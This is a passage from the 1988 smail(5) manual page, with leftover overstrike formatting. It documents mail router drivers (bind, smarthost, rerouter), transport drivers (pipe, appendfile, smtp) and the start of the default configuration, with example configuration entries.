domain literal name is given to the transport. This is useful with incomplete host tables. The gethostbyaddr driver has the following attributes: _c_h_e_c_k___f_o_r___l_o_c_a_l type: _b_o_o_l_e_a_n If set, see if the hostname returned by gethost- byaddr() matches one of the known names for the local host. The name ``localhost'' is counted here as a potential name for the local host. NOTE: This attribute is set by default. _f_a_i_l___i_f___e_r_r_o_r type: _b_o_o_l_e_a_n If set, then any domain-literal target which does not fit the form of an internet address is consid- ered an error. If not set, then such addresses are merely not matched by the driver. TThhee BBiinndd DDrriivveerr The bbiinndd driver uses the _B_e_r_k_e_l_e_y _I_n_t_e_r_n_e_t _N_a_m_e _D_o_m_a_i_n server, _n_a_m_e_d _, to resolve target hostnames. It is fully compliant with the RFC974 standard, _M_a_i_l _R_o_u_t_i_n_g _a_n_d _t_h_e _D_o_m_a_i_n _S_y_s_t_e_m _, and uses MX and WKS records. This router is available only on systems that have a 4.3BSD compatible resolver library. It is highly recommended that this router be used for machines that are on the internet, rather than using the ggeetthhoossttbbyynnaammee router. The following attributes vary the behavior of the bbiinndd driver: _d_e_f_e_r___n_o___c_o_n_n_e_c_t type: _b_o_o_l_e_a_n If this boolean attribute is set, then we must be able to connect to the server. If attempts to con- nect to the server fail, then routing is retried at a later time, on the assumption that the nameserver is only down temporarily. If this attribute is not set, then a failure to connect to the server will cause the router to be ignored. This allows a bind router to be optional based on whether or not the server exists. NOTE: This attribute is set by default. Local 1 February 1988 52 SMAIL(5) SMAIL(5) _l_o_c_a_l___m_x___o_k_a_y type: _b_o_o_l_e_a_n If this boolean attribute is not set, then it is considered an error for an MX resource record to be encountered which points to the local host. If this attribute is set, then such an MX resource record will cause the address not to be matched. The precedence number for the resource record is taken into account here, so that an MX resource record which points to the local host is ignored if there are other records with a lower precedence number. _d_e_f_n_a_m_e_s type: _b_o_o_l_e_a_n This boolean attribute is passed to the BIND resolve routines as the RES_DEFNAMES flag. If set, then hostnames which do not contain dots will have a default domain appended to them before lookups. For example, this allows for hosts on a local area network to be referenced using the basename of the host rather than requiring the full domain name. NOTE: This attribute is set by default. _i_g_n_o_r_e___d_o_m_a_i_n_s type: _s_t_r_i_n_g If this string is set, then it is used as a colon- separated list of domain names. If a hostname ends in any of these domains, then the router will not match the host, and will not result in any queries. This can be set to a list of domains that are known not to exist, such as uuuuccpp and bbiittnneett, to prevent expensive lookups which will never be successful. _d_o_m_a_i_n___r_e_q_u_i_r_e_d type: _b_o_o_l_e_a_n If this boolean attribute is set, then a hostname with only one domain component (i.e., no dots) will not be matched. This should probably be set if ddeeffnnaammeess is not set, to prevent lookups for uucp hostnames that will not be found by BIND. _m_x___o_n_l_y type: _b_o_o_l_e_a_n If this boolean attribute is set, then match a host only if it has an MX record. This is not currently useful on the Internet as a whole, though it does have uses in managing networks disconnected from the Internet, but that use BIND to manage the host- name space. If all hosts that can accept mail have an MX entry pointing to them, then no attempts will made to send mail to other ``hosts,'' such as printers or terminal concentrators. Local 1 February 1988 53 SMAIL(5) SMAIL(5) _g_a_t_e_w_a_y_s type: _s_t_r_i_n_g A list of gateways and corresponding domains for explicit routing using the bind processing logic for the gateway address. The string consists of a sequence of lists. Each list consists of strings separated by colons, and the lists are separated by a string consisting of a single `+' character. Each list consists of the name of a gateway, fol- lowed by a list of domains that should be routed to that gateway. The gatewayed domains will match either against a complete address, or against the terminating domain of an address. For example: gateways = "uknet.ac.uk:uucp:+:\ earn-relay.ac.uk:bitnet:ie:earn" In this example, if an address of the form .uucp is being processed, it will be converted to uknet.ac.uk before any other processing is done. The new name will then be looked up in the DNS and routed accordingly. Thus mail for .uucp will always be sent to uknet.ac.uk, by whatever route is registered in the DNS for that address. Similarly, mail for the domains bitnet, ie, and earn will be routed to earn-relay.ac.uk. _w_i_d_e_n___s_t_r_i_n_g_s type: _s_t_r_i_n_g A list of domains, separated by colons, to be tacked onto the end of the address if it isn't found directly in the DNS. For example: widen_domains = "cam.ac.uk:ac.uk" With this setting, an address such as "psy.ox" will first be tried as it stands, then "psy.ox.cam.ac.uk" will be tried, and if that fails, "psy.ox.ac.uk" will be tried. The following attributes are for use in the UK, where mail routing is complicated by the co-existence of both the Internet and the JANET mail protocols. _u_k___g_r_e_y_b_o_o_k___t_r_a_n_s_p_o_r_t type: _s_t_r_i_n_g If this attribute is set, then an address which is matched in the DNS but which does not have any usable MX records because they have been discarded for UK-specific reasons (see below) will be routed to this transport, provided the address ends in `.uk'. The string should be the name of a transport defined in smail's transports configuration file. If this attribute is not set, such an address will cause a `nomatch' return, allowing a subsequent Local 1 February 1988 54 SMAIL(5) SMAIL(5) router (typically smarthost) to handle the message. _u_k___g_r_e_y_b_o_o_k___w_o_r_l_d_o_r_d_e_r type: _b_o_o_l_e_a_n If this switch is set, addresses that are sent to the greybook transport are left in world order, otherwise they are inverted into UK order. _u_k___i_g_n_o_r_e___g_a_t_e_w_a_y_s type: _s_t_r_i_n_g A list of known gateways which are not to be used for sending SMTP mail within the UK (that is, to addresses that end in `.uk'). For example: uk_ignore_gateways = "nsfnet-relay.ac.uk:\ sun2.nsfnet-relay.ac.uk:\ mhs-relay.ac.uk" _u_k___m_a_x___p_r_e_c_e_d_e_n_c_e type: _n_u_m_b_e_r The highest MX precedence value that is acceptable for an address in the UK for SMTP mail. The default value is 999, which disables this option, but sites in the UK should normally set it to 9 in accordance with the established convention that preference values greater than 9 should not be used for intra- UK SMTP mail. _u_k___t_r_y___i_n_v_e_r_t_i_n_g type: _b_o_o_l_e_a_n If this attribute is set, then when an address can- not be found in the DNS, even after widening with the strings given in the widen_domains attribute, the original address is inverted (e.g. uk.ac.somewhere becomes somewhere.ac.uk) and the whole process is tried again. Inversion does not take place if the address already ends in `.uk'. All matches found by the bind driver are considered full matches, for the purposes of prioritizing results from different routers. Matches are considered full even in the presence of wildcards in MX records. A site which exists only on the internet, requiring no other means of routing should have a router file consist- ing of the entries: # match internet address domain literals internet_addrs: driver=gethostbyaddr, transport=smtp; fail_if_error # match internet hostnames internet_hosts: Local 1 February 1988 55 SMAIL(5) SMAIL(5) driver=bind, transport=smtp A site which servers as the internet gateway for some set of hosts should either have a paths file naming the hosts for which it gateways, or should use the llooccaall__mmxx__ookkaayy attribute and allow target hostnames to fall through to a router for another network. For example, a UUCP network gateway which gateways for a set of hosts listed int the UUCP map database distributed over USENET could use the following two routers, in order, to handle all of its gateway responsibilities: internet_hosts: driver=bind, transport=smtp; local_mx_okay uucp_hosts: driver=pathalias, transport=uux; file=/usr/lib/smail/paths If the ddeeffeerr__nnoo__ccoonnnneecctt is not used, then it is advisable to include a ggeetthhoossttbbyynnaammee router to match hostnames. The following sequence of routers will allow the same smail configuration to be used on machines that do have the BIND server and on machines that don't have the server: internet_hosts: driver=bind, transport=smtp; -defer_no_connect network_hosts: driver=gethostbyname, transport=smtp TThhee SSmmaarrtthhoosstt DDrriivveerr Sometimes it is handy to be able to redirect mail to a host that you don't know about to some other host that has more routing information. This other host is called a _s_m_a_r_t _h_o_s_t, and can be named by using the smarthost driver. The smarthost driver has the following driver attribute: _p_a_t_h type: _s_t_r_i_n_g This define a host or UUCP-style `!'-path path that defines the smart host. If no ttrraannssppoorrtt or mmeetthhoodd attribute is given for the router file entry, this address will be resent through all the routing drivers. An exception is that an address can- not be sent to the smarthost driver twice, as this would mean that the path to the smarthost was not known. The global configuration variable aauutthh__ddoommaaiinnss affects the smarthost router by restricting the set of hostnames that Local 1 February 1988 56 SMAIL(5) SMAIL(5) can be matched by the smarthost router to hostnames that are outside of the domains listed in aauutthh__ddoommaaiinnss. For example, if the site _n_a_m_e_i wanted to use _a_m_d_a_h_l's routing database for mail delivery to non-neighboring sites they could use a router file entry of: smart_host: driver=smarthost; path=amdahl or smart_host: transport=uusmtp, driver=smarthost; path=amdahl NOTE: At the present time, a ttrraannssppoorrtt or mmeetthhoodd attribute is required, as the software is not yet in place that can rescan the routers in the required ways. Then, a recipient address of ``Ted.Husted.Jr@walldrug.uucp'' will be rewritten so that the hostname is _a_m_d_a_h_l and the remaining part of the address is ``Ted.Hustead.Jr@walldrug.uucp.'' Alternately, in the second form for the entry, the transport, _u_u_x_, would be known immediately and be passed the hostname ``amdahl'' immediately, with a $$uusseerr value of ``Ted.Hustead.Jr@walldrug.uucp.'' By specifying a UUCP-style `!'-path it is possible to route mail to a smart host that you would not otherwise be able to route to. For example, if the machine _g_l_o_t_z wished to use _a_m_d_a_h_l as its smart host, through its neigh- boring site _n_a_m_e_i, it could use: smart_host: driver=smarthost; path=namei!amdahl or smart_host: transport=demand, driver=smarthost; path=namei!amdahl It is possible to set the path and/or the transport in the _c_o_n_f_i_g file. This is done by setting the config file attributes ssmmaarrtt__ppaatthh and ssmmaarrtt__ttrraannssppoorrtt. For example, the config file could contain the following: smart_path = amdahl smart_transport = uusmtp Then, if the entry in the router file was: smart_host: driver=smarthost the configuration would be essentially the same as in the second smart_host example above. This makes it possible to share copies of the router file among several machines, with the smart host configuration specific to one machine Local 1 February 1988 57 SMAIL(5) SMAIL(5) being set in its private configuration file. These config file attributes are used only if the path driver attribute is not given in the _s_m_a_r_t___h_o_s_t entry. If the ssmmaarrtt__ppaatthh attribute from the config file is used, the ssmmaarrtt__ttrraannssppoorrtt will override a ttrraannssppoorrtt or mmeetthhoodd attribute. TThhee RReerroouutteerr DDrriivveerr The rerouter driver is an experimental router driver that can do optimization of UUCP-zone !-paths addresses. For example, given an address of: host1!host2!host3!host4!host!user The rerouter driver could realize that a more efficient path exists to hhoosstt and rewrite this as: host6!host!user Before you say to yourself how neat this would be and how much of a savings this would be for the world, you must realize that such rerouting is dangerous and should be configured-in only with a great deal of consideration and attention to detail in your rerouting database. Here are the attributes supported by the rerouter driver: _f_i_l_e type: _s_t_r_i_n_g An expansion string defining a file that selects which hosts or domains will be considered candi- dates for rerouting. If the string, after expan- sion, does not begin with //, it will be opened rel- ative to the smail library directory. The format of the file is described later in this section. _p_r_o_t_o type: _s_t_r_i_n_g The lookup protocol to use in searching through the database specified by the ffiillee attribute. The list of possible lookup protocols for the rerouter driver is the same as for the pathalias driver. _d_o_m_a_i_n type: _s_t_r_i_n_g A colon-separated list of default domains for hosts in the database. Targets ending in any of these domains will have the domain stripped (incuding a preceding dot) before the database is searched. A target containing only the domain (e.g., just ..uuuuccpp) will remain unchanged. Local 1 February 1988 58 SMAIL(5) SMAIL(5) _r_e_q_u_i_r_e_d type: _s_t_r_i_n_g A colon-separated list of domain names that are must be part of a hostname for that hostname to be considered a candidate for rerouting. _r_e_o_p_e_n type: _b_o_o_l_e_a_n If set, then reopen the database for each call to the rerouting driver, and close before each return. This is necessary for systems that would not other- wise have a sufficient number of available file descriptors for all of their routing and directing needs. _o_p_t_i_o_n_a_l type: _b_o_o_l_e_a_n if set, then if the open of the database file fails, assume an empty file. _t_r_y_a_g_a_i_n type: _b_o_o_l_e_a_n if set, then if the open fails, try again on a later spool directory queue run. _m_a_t_c_h_a_l_l type: _b_o_o_l_e_a_n If set, reroute all bang path addresses. The rerouting database isn't used at all in this mode, so even hosts that have an exclusion flag (`-') in the database will be rerouted. UUssee tthhiiss oonnllyy ffoorr ddeebbuuggggiinngg ppuurrppoosseess.. UUnnccoonnddiittiioonnaall rreerroouuttiinngg iiss aann ooffffeennssee aaggaaiinnsstt tthhee nneett..ccoommmmuunniittyy!! _m_a_t_c_h_l_o_c_a_l type: _b_o_o_l_e_a_n If set, then address containing forms for the local host (within the bounds of the rreeqquuiirreedd attributes) are considered candidates for rerouting. The path starting with the component directly following the last occurance of the local hostname is used rerouting. For example, if the local hostname is ggeemmiinniixx, then the input path: host1!host2!geminix!host!user might be rewritten as: host4!host!user _m_a_t_c_h_d_b type: _b_o_o_l_e_a_n If set, a database lookup is done for the target. Otherwise, the reroute database isn't used. This Local 1 February 1988 59 SMAIL(5) SMAIL(5) must be set of you intend to set the ffiillee attribute to point to a database. _b_o_u_n_c_e_o_n_l_y type: _b_o_o_l_e_a_n This attribute combines with the mmaattcchhllooccaall attribute to do limited rerouting that bypasses multiple occurances of the local host, but only for bounce messages (messages generated for returning errors to the originator of a message). This attribute affects only the use of the mmaattcchhllooccaall attribute, and has no other affect on the rerouter driver. The rerouter driver operates only on pure !-path addresses. For such addresses, the !-path is scanned from right to left for hostnames that are considered candidates for rerouting. If such a host is found, the path is trun- cated to contain everything from that component to the end of the path. In the case of a match resulting from the mmaattcchhllooccaall attribute, the matching component is also removed from the path. Given a truncated path generated by the rerouter driver, the address is passed back into the smail address resolver engine to be rerouted based on the other routers. This goes all the way back to the beginning of the address res- olution process, rather than continuing on with the list of routers, as would happen for a non-matching target hostname. If a database file is used to define candidate hosts for rerouting, the file will be presumed to contain entries consisting of a hostname or a domain name beginning with a period, followed by ++ or --. For example, the database file might contain: .do.main + .bar + .foo.bar - host1.foo.bar + host2 + host2.abc + host3 + host4 + If a match is found on the given hostname, then the ++ or -- is used to indicate whether the hostname is a candidate for rerouting. A ++ indicates that the host is a candi- date, a -- indicates that the host is _n_o_t a candidate. The rules for finding an entry in the database are: 1. Look for an exact match of the target hostname. If Local 1 February 1988 60 SMAIL(5) SMAIL(5) not found, and the domain begins with a dot, look for a match without the dot. 2. If that fails, strip the first component of the domain, leaving the initial dot on the second com- ponent. Look for a match on the resulting name. Repeat this step until a match is found or no com- ponents remain. This lookup algorithm, together with the ++ or -- field can be used to enable rerouting for all but a certain subset of hosts within a domain. GGeenneerraall rreeccoommmmeennddaattiioonnss While rerouting can be useful, and can improve the flow of mail through the UUCP zone, it can be disastrous if done wrong. Here are two situations where it can be useful to reroute mail: 1. If your site is on the Internet, and it is a back- bone for a domain of UUCP sites that are connected to your site, then your site might have access to routing informations that isn't available to the UUCP sites (MX-records etc.). Using shortcuts over the internet instead of sending the mail along the original slow and maybe expensive (telephone charges) path can be a major advantage. 2. If one or more links that in your direct neighbour- hood (one or two hops away) have changed and the new UUCP maps haven't yet propagated widely enough to make other sites aware of these changes, you could use rerouting to _t_e_m_p_o_r_a_r_e_l_y correct the incoming bang paths that were generated from the old maps. However, before you enable rerouting you should make sure that your routing databases are really accurate. It's not enough that you install the posted USENET maps automati- cally. These maps are notoriously inaccurate, and often contain very unrealistic link costs, resulting in non- optimal routes. Therefore, it is necessary to check all routes that might be used for rerouting line by line when- ever it is rebuilt from the maps. If you can't or don't want to do this, don't use rerout- ing! Or at least only for sites in your direct neighbour- hood. Rerouting with a poorly maintained routing database is a disservice to the net! The simplest way to setup rerouting is to limit the set of hosts that you use for rerouting and ensure that the routes to all of those hosts are stable and accurate. Making a separate paths file- based router is the simplest way of ensuring that stable paths are used. Local 1 February 1988 61 SMAIL(5) SMAIL(5) Also, if you think that you have the administrative resources for rerouting, do so only when you are willing to keep in touch with the maintainers of other rerouting sites in your area. Mail loops between two rerouting sites are a serious problem that can be reduced only by discussing changes you want to make to your routing _i_n _a_d_v_a_n_c_e. So in short, folks, don't use rerouting if it isn't abso- lutely necessary. Please don't use it as a means to inflate your ego. Instead, maintaining a rerouting host is a responsible task that needs lots of time and determi- nation. Please restrain yourself, for the sake of fast and flawless mail delivery. HHoossttnnaammee nnoonn--uunniiqquueenneessss One more point, which is actually an important one, is that hostnames within UUCP-zone are not always unique. Just because you recognize a hostname on the end of path does _n_o_t mean that it is the host that you think it is. To avoid conflicts arrising from non-unique names it is best to avoid rerouting for hostnames that are not quali- fied within a domain. The only safe way to reroute an address is to reroute from left to right rather than right to left, and to stop as soon as a host is found which is not a rerouting candi- date. However, such a policy greatly limits the useful- ness of rerouting or at least it greatly increases the number of entries in your rerouting database that are nec- essary for rerouting to be useful. TTHHEE TTRRAANNSSPPOORRTT DDRRIIVVEERRSS This section details the usage and driver-specific attributes for all of the transport drivers distributed with smail. See the section TTHHEE TTRRAANNSSPPOORRTT FFIILLEE for more information on transports. TThhee PPiippee DDrriivveerr The pipe driver is the most general form of transport. Its job is to send mail messages to another program, such as _u_u_x(1) or _s_h(1). The driver attributes for the pipe driver are: _c_m_d type: _s_t_r_i_n_g The program to be run and the arguments to be passed. This is string expanded. To handle multi- ple addresses being given to a transport, the use of $$(( and $$)) can be used to bracket a section of the command string which is to be repeated for each address given to the transport. It is a configura- tion error for string expansion to fail. Local 1 February 1988 62 SMAIL(5) SMAIL(5) _d_e_f_e_r___c_h_i_l_d___e_r_r_o_r_s type: _b_o_o_l_e_a_n Generally, only child failures from the signal SIGTERM are reattempted at a later time. If this is set, then retries are performed at a later time if the exit code is non-zero, or if the write failed on the pipe. This is useful for treating errors from UUCP as configuration or as temporary filespace problems. _g_r_o_u_p type: _s_t_r_i_n_g The name of the group to _s_e_t_g_i_d(2) to within the child process. Useful only if the mailer is run- ning as root. _i_g_n_o_r_e___s_t_a_t_u_s type: _b_o_o_l_e_a_n If set, the exit status of the child process is ignored. If this is not set, an exit value other than 0 is noted and mail is sent to the postmaster stating this. _i_g_n_o_r_e___w_r_i_t_e___e_r_r_o_r_s type: _b_o_o_l_e_a_n If set, write errors are ignored. This is useful for running programs that may not actually read their standard input. If this is not set, a write error will cause mail to be returned to the sender. _l_o_g___o_u_t_p_u_t type: _b_o_o_l_e_a_n The _s_t_d_o_u_t and _s_t_d_e_r_r of a command are logged and returned to the sender in case of problems. The current implementation is not very good as it actu- ally returns the logs for all such transports in the event that any transports fail. This attribute is on by default. _p_a_r_e_n_t___e_n_v type: _b_o_o_l_e_a_n Stuff the environment with data taken from the par- ent of the input address, rather than the input address itself. This is useful for the transport specifically named _p_i_p_e which is used by smail for delivery to shell-command addresses. Here the recipient address stored into the environment will then be the address that produced the shell-command address, rather than the shell-command address itself. _p_i_p_e___a_s___s_e_n_d_e_r type: _b_o_o_l_e_a_n If set, the child process' uid is taken from the Local 1 February 1988 63 SMAIL(5) SMAIL(5) real uid at the time the message was read by _s_m_a_i_l. This does not affect the group id for the child. This overrides the uid obtained from the ppiippee__aass__uusseerr attribute. _p_i_p_e___a_s___u_s_e_r type: _b_o_o_l_e_a_n Obtain a _u_i_d and, if `group' attribute is not given, a _g_i_d associated with the address (such as the user for a .forward file). Then set these via _s_e_t_u_i_d(2) and _s_e_t_g_i_d(2) in the child process. NOTE: This attribute is on by default. _u_m_a_s_k type: _n_u_m_b_e_r file creation mask for the child process. _u_s_e_r type: _s_t_r_i_n_g The name of the user to _s_e_t_u_i_d(2) to within the child process. Useful only if the mailer is run- ning as root. The environment of the child process is entirely initial- ized and loaded with variables which may be useful in shell scripts or intelligent mail processing programs. Exactly one environment variable is passed through from the environment handed to the _s_m_a_i_l program: the TTZZ vari- able defining the timezone. The following portion of the environment is independent of the recipient addresses: BASENAME the basename for the spool file GRADE the grade character MESSAGE_ID the message ID as assigned by _s_m_a_i_l PATH ``/bin:/usr/bin'' PRIMARY_NAME the official name for the host SENDER the sender address SHELL ``/bin/sh'' SPOOL_FILE the complete name for the spool file UUCP_NAME the name for the host on the uucp network VISIBLE_NAME the name for the host used in addresses The rest of the environment is loaded from the input address, or from the parent of the input address: ADDR The recipient address (or one of the recipi- ent addresses, if more than one is given to the driver). HOME The home directory (or one of home directo- ries, if more than one recipient address is given to the driver). If no home directory Local 1 February 1988 64 SMAIL(5) SMAIL(5) is associated with an address, ``/'' is used. HOST The recipient hostname (or one of the recipi- ent hosts, if more than one host is given to the driver). USER, and LOGNAME These two variables are loaded with the name of a user on the local host, if one is found with some association to the address. Examples of the use of the pipe driver are: # transport used for delivery to shell-command addresses pipe: from, local, return_path, unix_from_hack, driver=pipe; cmd="/bin/sh -c $user", pipe_as_user, ignore_status, ignore_write_errors, parent_env, -log_output # delivery to a remote _r_m_a_i_l(8) program using _u_u_x(1) uux: max_addrs=5, max_chars=200, from, received, driver=pipe; cmd="/usr/bin/uux - -r -g$grade $host!rmail $((${strip:user})$)", # see ``String expansion'' above pipe_as_sender TThhee AAppppeennddffiillee DDrriivveerr The appendfile driver creates or appends to files. It can either write to a filename derived from the recipient address, or it write a unique file into a directory. This latter capability can be used to implement a primitive output queue for some purposes. The driver-specific attributes are: _a_p_p_e_n_d___a_s___u_s_e_r type: _b_o_o_l_e_a_n Get the _u_i_d and, perhaps, the _g_i_d from the user id and group id associated with the address. For example, the user associated with a forward file might be used. This attribute is on by default. _c_h_e_c_k___p_a_t_h type: _b_o_o_l_e_a_n If set, then verify the permissions on a complete path for a file or dir attribute. This requires that all directories leading to a file must be searchable by the appending user (see the _u_s_e_r, _g_r_o_u_p and _a_p_p_e_n_d___a_s___u_s_e_r attributes). Under System V, this requires a _s_t_a_t(2) call for each directory in the path, and is thus somewhat expensive. Local 1 February 1988 65 SMAIL(5) SMAIL(5) _c_h_e_c_k___u_s_e_r type: _b_o_o_l_e_a_n Reject an address if the $$uusseerr would contain a `/'. This prevents a $$uusseerr expansion from accessing a different directory. _d_i_r type: _s_t_r_i_n_g Defines a directory in which to write unique files. Files written to this directory always begin with the letter `q', while temporary files used in the creation process begin with ``temp.'' This string is expanded similarly to the ffiillee attribute. It is a configuration error for this string expansion to fail. _e_x_p_a_n_d___u_s_e_r type: _b_o_o_l_e_a_n If set the value for $$uusseerr value is string expanded before the value for the ffiillee or ddiirr attribute is expanded. This is useful if a local-form address may require `~' or `$' expansions. _f_i_l_e type: _s_t_r_i_n_g Defines a file to append messages to. This string is expanded, and the variables $$uusseerr and $$hhoosstt are set from the recipient address. It is a configura- tion error for this string expansion to fail. _g_r_o_u_p type: _s_t_r_i_n_g become this group. Similar to the uusseerr attribute. _m_o_d_e type: _n_u_m_b_e_r When creating a file, _c_r_e_a_t(2) it with this access mode. The default is 0666. _n_o_t_i_f_y___c_o_m_s_a_t type: _b_o_o_l_e_a_n Notify the COMSAT daemon of the message delivery, so that users can be notified that they received mail. This has no effect if your system does not support the COMSAT daemon. This should be used for delivery to user mailbox files. _p_r_e_f_i_x type: _s_t_r_i_n_g This prefix is inserted in the file before the mes- sage. This string is expanded, with $$uusseerr and $$hhoosstt being available from the recipient address. It is a configuration error for this string expan- sion to fail. Local 1 February 1988 66 SMAIL(5) SMAIL(5) _s_u_f_f_i_x type: _s_t_r_i_n_g This suffix is appended to the file after the mes- sage. This string is expanded, with $$uusseerr and $$hhoosstt being available from the recipient address. It is a configuration error for this string expan- sion to fail. _u_s_e_r type: _s_t_r_i_n_g This become this user (effectively at least) when opening or creating the file. Access permissions are checked relative to this user, and the user will own the file if it did not previously exist. To better understand the use of some of these attributes, consider the transport file entry: file: driver=appendfile, from, return_path, local; file=$user, suffix="\n", check_path, expand_user, append_as_user, mode=0664 This transport will be called when a file address is pro- duced by a director. Such addresses should be expanded, because they may require `~' expansions. Also, to keep standard many user agents happy, an extra newline is inserted after each message. The aappppeenndd__aass__uusseerr attribute is set to ensure that addresses produced from, say, a for- ward file are only created or appended to if the associ- ated user has permissions to do so. Because these file- names can be arbitrary, cchheecckk__ppaatthh is set to make sure that an otherwise inaccessible directory is not written to. When given an address of ``~/Incoming,'' with an associ- ated home directory of ``/u/joe-user'' and an associated user of _j_o_e_-_u_s_e_r, the following steps occur: a. The $$uusseerr variable is expanded to ``/u/joe- user/Incoming.'' b. The ffiillee attribute is also expanded to ``/u/joe- user/Incoming.'' c. The directories //, //uu and //uu//jjooee--uusseerr are checked for accessibility by the user _j_o_e_-_u_s_e_r. If any of these is not searchable, then delivery fails. d. The file //uu//jjooee--uusseerr//IInnccoommiinngg is opened for append access. If it does not exist, it is created, will be owned by _j_o_e_-_u_s_e_r and will have mode 0664. Creation will fail if _j_o_e_-_u_s_e_r cannot write the directory. e. The message is written with a local-form Local 1 February 1988 67 SMAIL(5) SMAIL(5) ``From_<_s_p_a_c_e_>'' line. f. An extra newline is appended to the file, after the message. NOTE: _s_m_a_i_l will follow the local conventions on locking protocols for mailbox files, which may involve cre- ating a .lloocckk file or using a file lock system call, such as _l_o_c_k_f(3) under System V of _f_l_o_c_k(2) under BSD. Next, lets examine: local: driver=appendfile, local, from, return_path; file=/usr/spool/mail/$user, append_as_user, check_user, mode=0600, notify_comsat In this example, the $$uusseerr value is not expanded before expanding the ffiillee attribute. Also, just to make sure, $$uusseerr is verified to not contain a `/'. Given an input address of ``jane-doe,'' associated with the user _j_a_n_e_- _d_o_e, mail will be appended to the file ``/usr/spool/mail/jane-doe.'' If it did not previously exist, it will be owned by _j_a_n_e_-_d_o_e and will have a mode of 0600. TThhee TTCCPPSSMMTTPP DDrriivveerr Simple support exists in _s_m_a_i_l for delivery using SMTP over TCP/IP, for systems that have BSD compatible network- ing. It is intended that eventually a complete backend will exist to handle SMTP in a more efficient manner, though in the mean time a built-in SMTP transport driver is available. The smtp driver can be used for delivery of any number of addresses to one remote host, where the remote host can be specified either in form of a hostname known by the net- working software or by an internet number in square brack- ets, such as _[_1_9_2_._2_._1_2_._1_4_2_]. For example, the routing drivers ggeetthhoossttbbyyaaddddrr and ggeetthhoossttbbyynnaammee are suitable for matching addresses to be delivered using the SMTP driver. The attributes for the tcpsmtp driver are: _s_h_o_r_t___t_i_m_e_o_u_t type: _i_n_t_e_r_v_a_l This defines the response timeout for oerations that are assumed to be short, such as protocol startup and protocol exit. This can use suffix letters of `s', `m', `h', and `d' to mean seconds, minutes, hours or days, with no suffix signifying seconds. Times can be added through direct con- catenation. For example, the value `5m30s' signi- fies 5 minutes and 30 seconds. The default value Local 1 February 1988 68 SMAIL(5) SMAIL(5) is 5 minutes. _l_o_n_g___t_i_m_e_o_u_t type: _i_n_t_e_r_v_a_l This defines the response timeout for long opera- tions, i.e., those that are not short. Suffix let- ters can be used in the same manner as with sshhoorrtt__ttiimmeeoouutt. The default value is 2 hours. _s_e_r_v_i_c_e type: _s_t_r_i_n_g___o_r___n_u_m_b_e_r This attribute identifies a TCP/IP port number, either directly as a number, or as a name to be searched for in the _/_e_t_c_/_s_e_r_v_i_c_e_s file. This port number will be used in connecting to the remote host. The default is _s_m_t_p. _u_s_e___b_i_n_d type: _b_o_o_l_e_a_n Use DNS resolution, if supported, to locate and use MX and A records associated with the target host; without this option, the _g_e_t_h_o_s_t_b_y_n_a_m_e() function is used to locate the address to use for delivery. If the target host was matched with the bbiinndd router driver, then MX and A records found by the bbiinndd router will be used independent of the uussee__bbiinndd attribute. _d_e_f_e_r___n_o___c_o_n_n_e_c_t_, _l_o_c_a_l___m_x___o_k_a_y_, _d_e_f_n_a_m_e_s_, _i_g_n_o_r_e___d_o_m_a_i_n_s_, _d_o_m_a_i_n___r_e_q_u_i_r_e_d_, _m_x___o_n_l_y If uussee__bbiinndd is specified, these attributes vary the behavior of the ttccppssmmttpp transport's DNS resolution. See the documentation for the bbiinndd router for an explanation of these attributes. The smtp driver attempts to connect immediately and deliver a single message. If access to the remote host is currently not possible, the driver will tell smail that delivery should be attempted at a later time. An example of the use of the smtp driver is the entry: # deliver using SMTP over TCP/IP to the remote host tcpsmtp: -max_chars, -max_addrs, driver=smtp If your site is on the Internet and gateways from the UUCP zone, it may be reasonable to set the ssttrriicctt attribute. Otherwise, this is probably not a good idea. If the llooccaall attribute is set (see the generic transport attributes), then mail will be transmitted in a form that contains little reference to the transmitting host. This can be used within a local network to make all mail trans- mitted within the network look like local mail (i.e., Local 1 February 1988 69 SMAIL(5) SMAIL(5) local addresses will not be qualified with the domain name). This is often convenient in environments that use a central host for processing all mailing lists and user addresses, but where mail can originate and be delivered anywhere in the network, and where user names are consis- tent throughout the network. When mail is transmitted outside of the local network, an smtp transport with the llooccaall attribute turned off will qualify any mail sent from anywhere inside the network. The SMTP transport is also affected by the iinneett and uuuuccpp generic transport attributes. If iinneett is set, then sender and recipient addresses transmitted in the protocol enve- lope will strictly conform to the RFC821 and RFC1123 pro- tocol specifications. However, route-addr addresses may be generated, despite the recommendations of RFC1123 against the practice. Note that networks connected com- pletely by domain name servers will not result in genera- tion of route-addr addresses, although they will be hon- ored if received. If the uuuuccpp transport attribute is set, then sender and recipient addresses will conform to the envelope specifi- cations of RFC976, and will thus use !-style routes. Addresses transmitted to the remote host will consist only of ! and % operators. % operators will never be gener- ated, but may be included if they were present in the original sender or recipient addresses. If neither the uuuuccpp nor the iinneett attributes are specified, then an intermediate form will be used that nearly elimi- nates route-addr addresses. This form uses RFC976 !-style addresses when routing is necessary, but otherwise stays within the formal SMTP specification. The smtp driver always sets the ccrrllff and ddoottss transport attributes. DDEEFFAAUULLTT CCOONNFFIIGGUURRAATTIIOONN NOTE: A transports file, unlike routers and directors files, does not replace all compiled-in transports. Rather, entries in the transports file override existing entries of the same name, or add new entries. Thus, if you wish to add new transport definitions, you need only create a transports file containing the new defintion, and do not need to duplicate all of the compiled-in entries. The default internal configuration is defined in the source files _c_o_n_f_i_g_._h and _d_e_f_a_u_l_t_._c. The default director configuration uses: Local 1 February 1988 70 SMAIL(5) SMAIL(5) _a_l_i_a_s_e_s an alias database stored as an ASCII text file in _/_u_s_r_/_l_i_b_/_m_a_i_l_/_a_l_i_a_s_e_s _d_o_t_f_o_r_w_a_r_d forward files stored in user home directories in the file _._f_o_r_w_a_r_d _f_o_r_w_a_r_d_t_o forwarding information stored in user mailbox files preceded by the string ``Forward to '' _u_s_e_r matches local users with delivery using the _l_o_c_a_l transport _r_e_a_l___u_s_e_r matches local users with a prefix of ``real-'' with delivery (bypassing forwarding) using the _l_o_c_a_l transport _l_i_s_t_s mailing lists stored in the directory _/_u_s_r_/_l_i_b_/_m_a_i_l_/_l_i_s_t_s_/ _s_m_a_r_t___u_s_e_r a smart-user director may also be defined. The default router configuration uses: _i_n_e_t___a_d_d_r_s match domain literals forming IP internet addresses, deliver with the transport _s_m_t_p; config- ured in if BSD style internet networking is avail- able _i_n_e_t___h_o_s_t_s call _g_e_t_h_o_s_t_b_y_n_a_m_e to match hosts on an IP network, deliver with the transport _s_m_t_p; configured in if BSD style internet networking is available _p_a_t_h_s a pathalias database stored as a sorted ASCII file in 